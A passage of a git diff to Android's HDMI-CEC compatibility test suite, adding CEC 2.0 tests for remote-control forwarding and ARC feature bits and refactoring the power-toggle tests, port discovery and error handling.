+     * Test HF4-10-5
+     *
+     * <p>Tests that a device forwards all remote control commands to the device that is providing
+     * the audio rendering.
+     */
+    @Test
+    public void cect_hf4_10_5_RemoteControlCommandsWithSystemAudioControlProperty()
+            throws Exception {
+        setCec20();
+
+        ITestDevice device = getDevice();
+        String volumeControlEnabled =
+                getSettingsValue(device, HdmiCecConstants.SETTING_VOLUME_CONTROL_ENABLED);
+
+        try {
+            simulateCecSinkConnected(device, getTargetLogicalAddress());
+            setSettingsValue(
+                    device,
+                    HdmiCecConstants.SETTING_VOLUME_CONTROL_ENABLED,
+                    HdmiCecConstants.VOLUME_CONTROL_ENABLED);
+
+            // Broadcast <Set System Audio Mode> ["off"].
+            broadcastSystemAudioModeMessage(false);
+            // All remote control commands should forward to the TV.
+            sendVolumeUpCommandAndCheckForUcp(LogicalAddress.TV);
+
+            // Broadcast <Set System Audio Mode> ["on"].
+            broadcastSystemAudioModeMessage(true);
+            // All remote control commands should forward to the audio rendering device.
+            sendVolumeUpCommandAndCheckForUcp(LogicalAddress.AUDIO_SYSTEM);
+        } finally {
+            setSettingsValue(
+                    device, HdmiCecConstants.SETTING_VOLUME_CONTROL_ENABLED, volumeControlEnabled);
+        }
+    }
+
+    private void broadcastSystemAudioModeMessage(boolean val) throws Exception {
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(val ? 1 : 0));
+    }
+
+    private void sendVolumeUpCommandAndCheckForUcp(LogicalAddress toDevice) throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
+        String message =
+                hdmiCecClient.checkExpectedOutput(toDevice, CecOperand.USER_CONTROL_PRESSED);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_KEYCODE_VOLUME_UP);
+        hdmiCecClient.checkExpectedOutput(toDevice, CecOperand.USER_CONTROL_RELEASED);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index 1f4a270..df9da7c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -27,7 +27,6 @@
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
 
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
@@ -43,10 +42,11 @@
 
     @Rule
     public RuleChain ruleChain =
-            RuleChain
-                    .outerRule(CecRules.requiresCec(this))
+            RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
                     .around(hdmiCecClient);
 
     public HdmiCecSystemInformationTest() {
@@ -154,4 +154,48 @@
             setSystemLocale(locale);
         }
     }
+
+    /**
+     * Test HF4-11-4 (CEC 2.0)
+     *
+     * <p>Tests that the DUT responds to {@code <Give Features>} with "Sink supports ARC Tx" bit not
+     * set.
+     */
+    @Test
+    public void cect_hf_4_11_4_SinkArcTxBitReset() throws Exception {
+        setCec20();
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_FEATURES);
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+        int params = CecMessage.getParams(message, 6, 8);
+        assertThat(params & HdmiCecConstants.FEATURES_SINK_SUPPORTS_ARC_TX_BIT).isEqualTo(0);
+    }
+
+    /**
+     * Test HF4-11-5 (CEC 2.0)
+     *
+     * <p>Tests that the DUT responds to {@code <Give Features>} with "Sink supports ARC Tx" bit not
+     * set and "Sink support ARC Rx" bit set/reset appropriately.
+     */
+    @Test
+    public void cect_hf_4_11_5_CheckArcTxRxBits() throws Exception {
+        setCec20();
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_FEATURES);
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+        int params = CecMessage.getParams(message, 6, 8);
+        assertThat(params & HdmiCecConstants.FEATURES_SINK_SUPPORTS_ARC_TX_BIT).isEqualTo(0);
+
+        boolean hasAudioSystem =
+                getDevice()
+                        .getProperty(HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY)
+                        .contains(Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM));
+        boolean isArcSupported =
+                getDevice().getBooleanProperty(HdmiCecConstants.PROPERTY_ARC_SUPPORT, false);
+        if (hasAudioSystem && isArcSupported) {
+            // This has an Audio System as well, so ARC Rx bit has to be set.
+            assertThat(params & HdmiCecConstants.FEATURES_SINK_SUPPORTS_ARC_RX_BIT).isEqualTo(1);
+        } else {
+            // No Audio System, so ARC Rx bit has to be reset.
+            assertThat(params & HdmiCecConstants.FEATURES_SINK_SUPPORTS_ARC_RX_BIT).isEqualTo(0);
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
index 7b2dfbf..fc5226e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -16,16 +16,12 @@
 
 package android.hdmicec.cts.playback;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
+import android.hdmicec.cts.WakeLockHelper;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -35,7 +31,6 @@
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
-import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
 
 import java.util.concurrent.TimeUnit;
 
@@ -49,29 +44,20 @@
     private static final int OFF = 0x1;
 
     private static final int DUT_DEVICE_TYPE = HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE;
-    private static final String POWER_CONTROL_MODE =
-            "hdmi_control_send_standby_on_sleep";
+
     @Rule
     public RuleChain ruleChain =
-            RuleChain
-                    .outerRule(CecRules.requiresCec(this))
+            RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
                     .around(hdmiCecClient);
 
     public HdmiCecTvPowerToggleTest() {
         super(DUT_DEVICE_TYPE);
     }
 
-    private String setPowerControlMode(String valToSet) throws Exception {
-        ITestDevice device = getDevice();
-        String val = device.executeShellCommand("settings get global " +
-                POWER_CONTROL_MODE).trim();
-        device.executeShellCommand("settings put global "
-                + POWER_CONTROL_MODE + " " + valToSet);
-        return val;
-    }
-
     /**
      * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
      * Device is awake and not active source. TV is on.
@@ -82,28 +68,28 @@
         LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String previousPowerControlMode = setPowerControlMode("to_tv");
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
+        String previousPowerStateChange = setPowerStateChangeOnActiveSourceLost(
+                HdmiCecConstants.POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST_NONE);
         try {
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 0");
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 1");
-            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
-                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            simulateCecSinkConnected(device, dutLogicalAddress);
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
                     CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
+            WakeLockHelper.acquirePartialWakeLock(device);
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
             // Verify that device is asleep and <Standby> was sent to TV.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+            assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
         } finally {
             setPowerControlMode(previousPowerControlMode);
+            setPowerStateChangeOnActiveSourceLost(previousPowerStateChange);
+            wakeUpDevice();
         }
     }
 
@@ -117,27 +103,24 @@
         LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String previousPowerControlMode = setPowerControlMode("to_tv");
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
         try {
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 0");
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 1");
-            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
-                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            simulateCecSinkConnected(device, dutLogicalAddress);
             device.executeShellCommand("input keyevent KEYCODE_HOME");
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
+            WakeLockHelper.acquirePartialWakeLock(device);
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
             // Verify that device is asleep and <Standby> was sent to TV.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+            assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
         } finally {
             setPowerControlMode(previousPowerControlMode);
+            wakeUpDevice();
         }
     }
 
@@ -151,15 +134,11 @@
         LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String previousPowerControlMode = setPowerControlMode("to_tv");
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
         try {
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 0");
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 1");
-            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
-                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            simulateCecSinkConnected(device, dutLogicalAddress);
+            sendDeviceToSleep();
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
@@ -168,10 +147,10 @@
                     CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
             // Verify that device is asleep and <Standby> was sent to TV.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+            assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
         } finally {
             setPowerControlMode(previousPowerControlMode);
+            wakeUpDevice();
         }
     }
 
@@ -185,15 +164,11 @@
         LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
         // Make sure the device is not booting up/in standby
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String previousPowerControlMode = setPowerControlMode("to_tv");
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
         try {
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 0");
-            device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 1");
-            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-            hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
-                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            simulateCecSinkConnected(device, dutLogicalAddress);
+            sendDeviceToSleep();
             TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
             hdmiCecClient.clearClientOutput();
             device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
@@ -203,10 +178,10 @@
             // Verify that device is awake and <Text View On> and <Active Source> were sent.
             hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
             hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Awake");
+            assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_AWAKE);
         } finally {
             setPowerControlMode(previousPowerControlMode);
+            wakeUpDevice();
         }
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
index cb19d6d..4709374 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
@@ -21,6 +21,8 @@
 import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.error.CecClientWrapperException;
+import android.hdmicec.cts.error.ErrorCodes;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -35,6 +37,7 @@
 import java.io.File;
 import java.io.FileWriter;
 import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
@@ -50,6 +53,15 @@
     private File mDeviceEntry = null;
     private File mPortEntry = null;
 
+    private String instructionsOnError =
+            "\nIn case the setup is valid according to the README and "
+                    + "the test should have run, please verify that\n"
+                    + "1. cec-client is not running already on the port the DUT is connected to\n"
+                    + "2. "
+                    + HdmiCecConstants.CEC_MAP_FOLDER
+                    + " has been cleared of stale mappings (in case a"
+                    + " test was interrupted)\n";
+
     /** {@inheritDoc} */
     @Override
     public void setUp(TestInformation testInfo)
@@ -101,6 +113,8 @@
                     BaseHdmiCecCtsTest.getTargetLogicalAddress(device).getDeviceType();
             int toDevice;
             launchCommand.add("-t");
+            launchCommand.add("r");
+            launchCommand.add("-t");
             if (targetDeviceType == HdmiCecConstants.CEC_DEVICE_TYPE_TV) {
                 toDevice = LogicalAddress.PLAYBACK_1.getLogicalAddressAsInt();
                 launchCommand.add("p");
@@ -150,6 +164,27 @@
                             device.executeShellCommand(sendVendorCommand.toString());
                             if (cecClientWrapper.checkConsoleOutput(
                                     serialNoParam, TIMEOUT_MILLIS, inputConsole)) {
+                                if (targetDeviceType != HdmiCecConstants.CEC_DEVICE_TYPE_TV) {
+                                    // Timeout in milliseconds
+                                    long getVersionTimeout = 3000;
+                                    BufferedWriter outputConsole =
+                                            new BufferedWriter(
+                                                    new OutputStreamWriter(
+                                                            mCecClient.getOutputStream()));
+
+                                    String getVersionMessage = "tx 10:9f";
+                                    cecClientWrapper.sendConsoleMessage(
+                                            getVersionMessage, outputConsole);
+                                    String getVersionResponse = "01:9e";
+                                    if (cecClientWrapper.checkConsoleOutput(
+                                            getVersionResponse, getVersionTimeout, inputConsole)) {
+                                        throw new Exception(
+                                                "Setup error! The sink device (TV) in the test setup"
+                                                    + " seems to have CEC enabled. Please disable"
+                                                    + " and retry tests.");
+                                    }
+                                }
+
                                 writeMapping(port, serialNo);
                                 return;
                             }
@@ -157,10 +192,14 @@
                             portBeingRetried = false;
                         } else {
                             CLog.e("Console did not get ready!");
-                            throw new HdmiCecClientWrapper.CecPortBusyException();
+                            throw new CecClientWrapperException(ErrorCodes.CecPortBusy);
                         }
-                    } catch (HdmiCecClientWrapper.CecPortBusyException cpbe) {
-                        retryCount++;
+                    } catch (CecClientWrapperException cwe) {
+                        if (cwe.getErrorCode() != ErrorCodes.CecPortBusy) {
+                            retryCount = MAX_RETRY_COUNT;
+                        } else {
+                            retryCount++;
+                        }
                         if (retryCount >= MAX_RETRY_COUNT) {
                             /* We have retried enough number of times. Check another port */
                             portBeingRetried = false;
@@ -183,7 +222,8 @@
                             + ". "
                             + "Could not get adapter mapping for device"
                             + serialNo
-                            + ".",
+                            + "."
+                            + instructionsOnError,
                     e);
         } catch (Exception generic) {
             throw new TargetSetupError(
@@ -192,10 +232,12 @@
                             + "'. "
                             + "Could not get adapter mapping for device"
                             + serialNo
-                            + ".",
+                            + "."
+                            + instructionsOnError,
                     generic);
         }
-        throw new TargetSetupError("Device " + serialNo + " not connected to any adapter!");
+        throw new TargetSetupError(
+                "Device " + serialNo + " not connected to any adapter!" + instructionsOnError);
     }
 
     private String getPortFilename(String port) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
index d17d1b6..2363df9 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
@@ -36,8 +36,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTest {
 
-    private static final LogicalAddress TV_DEVICE = LogicalAddress.TV;
-
     public HdmiCecAudioReturnChannelControlTest() {
         super(HdmiCecConstants.CEC_DEVICE_TYPE_TV, "-t", "a");
     }
@@ -46,7 +44,7 @@
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, TV_DEVICE))
+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     /**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
index 1f175e1d..605ecee 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
@@ -24,32 +24,38 @@
 import android.hdmicec.cts.CecOperand;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.error.CecClientWrapperException;
+import android.hdmicec.cts.error.ErrorCodes;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Before;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
-import org.junit.Test;
 
-import java.util.HashMap;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 
 /** HDMI CEC test to check Remote Control Pass Through behaviour (Sections 11.1.13) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTest {
 
+    private static final int WAIT_TIME_MS = 1000;
+
     private HashMap<String, Integer> remoteControlKeys = new HashMap<String, Integer>();
+    private HashMap<String, Integer> remoteControlAudioKeys = new HashMap<String, Integer>();
 
     @Rule
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     public HdmiCecRemoteControlPassThroughTest() {
@@ -58,7 +64,7 @@
     }
 
     @Before
-    public void checkForInitialActiveSourceMessage() throws Exception {
+    public void checkForInitialActiveSourceMessage() throws CecClientWrapperException {
         try {
             /*
              * Check for the broadcasted <ACTIVE_SOURCE> message from Recorder_1, which was sent as
@@ -67,14 +73,23 @@
             String message =
                     hdmiCecClient.checkExpectedMessageFromClient(
                             LogicalAddress.RECORDER_1, CecOperand.ACTIVE_SOURCE);
-        } catch (Exception e) {
-            /*
-             * In case the TV does not send <Set Stream Path> to CEC adapter, or the client does
-             * not make recorder active source, broadcast an <Active Source> message from the
-             * adapter.
-             */
-            hdmiCecClient.broadcastActiveSource(
-                    LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
+        } catch (CecClientWrapperException e) {
+            if (e.getErrorCode() != ErrorCodes.CecMessageNotFound) {
+                throw e;
+            } else {
+                /*
+                 * In case the TV does not send <Set Stream Path> to CEC adapter, or the client does
+                 * not make recorder active source, broadcast an <Active Source> message from the
+                 * adapter.
+                 */
+                hdmiCecClient.broadcastActiveSource(
+                        LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
+                try {
+                    TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+                } catch (InterruptedException ex) {
+                    // Do nothing
+                }
+            }
         }
     }
 
@@ -88,7 +103,8 @@
     public void cect_11_1_13_1_RemoteControlMessagesToRecorder() throws Exception {
         hdmiCecClient.broadcastActiveSource(
                 LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
-        validateKeyeventToUserControlPress(LogicalAddress.RECORDER_1);
+        TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+        validateKeyeventToUserControlPress(LogicalAddress.RECORDER_1, remoteControlKeys);
     }
 
     /**
@@ -101,7 +117,8 @@
     public void cect_11_1_13_2_RemoteControlMessagesToPlayback() throws Exception {
         hdmiCecClient.broadcastActiveSource(
                 LogicalAddress.PLAYBACK_1, hdmiCecClient.getPhysicalAddress());
-        validateKeyeventToUserControlPress(LogicalAddress.PLAYBACK_1);
+        TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+        validateKeyeventToUserControlPress(LogicalAddress.PLAYBACK_1, remoteControlKeys);
     }
 
     /**
@@ -114,7 +131,8 @@
     public void cect_11_1_13_3_RemoteControlMessagesToTuner() throws Exception {
         hdmiCecClient.broadcastActiveSource(
                 LogicalAddress.TUNER_1, hdmiCecClient.getPhysicalAddress());
-        validateKeyeventToUserControlPress(LogicalAddress.TUNER_1);
+        TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+        validateKeyeventToUserControlPress(LogicalAddress.TUNER_1, remoteControlKeys);
     }
 
     /**
@@ -127,7 +145,8 @@
     public void cect_11_1_13_4_RemoteControlMessagesToAudioSystem() throws Exception {
         hdmiCecClient.broadcastActiveSource(
                 LogicalAddress.AUDIO_SYSTEM, hdmiCecClient.getPhysicalAddress());
-        validateKeyeventToUserControlPress(LogicalAddress.AUDIO_SYSTEM);
+        TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+        validateKeyeventToUserControlPress(LogicalAddress.AUDIO_SYSTEM, remoteControlAudioKeys);
     }
 
     /**
@@ -145,19 +164,23 @@
     }
 
     private void mapRemoteControlKeys() {
-        remoteControlKeys.put("DPAD_UP", HdmiCecConstants.CEC_CONTROL_UP);
-        remoteControlKeys.put("DPAD_DOWN", HdmiCecConstants.CEC_CONTROL_DOWN);
-        remoteControlKeys.put("DPAD_LEFT", HdmiCecConstants.CEC_CONTROL_LEFT);
-        remoteControlKeys.put("DPAD_RIGHT", HdmiCecConstants.CEC_CONTROL_RIGHT);
+        remoteControlKeys.put("DPAD_UP", HdmiCecConstants.CEC_KEYCODE_UP);
+        remoteControlKeys.put("DPAD_DOWN", HdmiCecConstants.CEC_KEYCODE_DOWN);
+        remoteControlKeys.put("DPAD_LEFT", HdmiCecConstants.CEC_KEYCODE_LEFT);
+        remoteControlKeys.put("DPAD_RIGHT", HdmiCecConstants.CEC_KEYCODE_RIGHT);
+        remoteControlAudioKeys.put("VOLUME_UP", HdmiCecConstants.CEC_KEYCODE_VOLUME_UP);
+        remoteControlAudioKeys.put("VOLUME_DOWN", HdmiCecConstants.CEC_KEYCODE_VOLUME_DOWN);
+        remoteControlAudioKeys.put("VOLUME_MUTE", HdmiCecConstants.CEC_KEYCODE_MUTE);
     }
 
-    private void validateKeyeventToUserControlPress(LogicalAddress toDevice) throws Exception {
+    private void validateKeyeventToUserControlPress(LogicalAddress toDevice
+            , HashMap<String, Integer> keyMaps) throws Exception {
         ITestDevice device = getDevice();
-        for (String remoteKey : remoteControlKeys.keySet()) {
+        for (String remoteKey : keyMaps.keySet()) {
             device.executeShellCommand("input keyevent KEYCODE_" + remoteKey);
             String message =
                     hdmiCecClient.checkExpectedOutput(toDevice, CecOperand.USER_CONTROL_PRESSED);
-            assertThat(CecMessage.getParams(message)).isEqualTo(remoteControlKeys.get(remoteKey));
+            assertThat(CecMessage.getParams(message)).isEqualTo(keyMaps.get(remoteKey));
             hdmiCecClient.checkExpectedOutput(toDevice, CecOperand.USER_CONTROL_RELEASED);
         }
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
index e09ef22..75d006a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
@@ -21,6 +21,8 @@
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.error.CecClientWrapperException;
+import android.hdmicec.cts.error.ErrorCodes;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.HdmiControlManagerUtility;
 import android.hdmicec.cts.LogicalAddress;
@@ -39,11 +41,13 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
 
+    private static final int WAIT_TIME_MS = 1000;
+
     @Rule
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
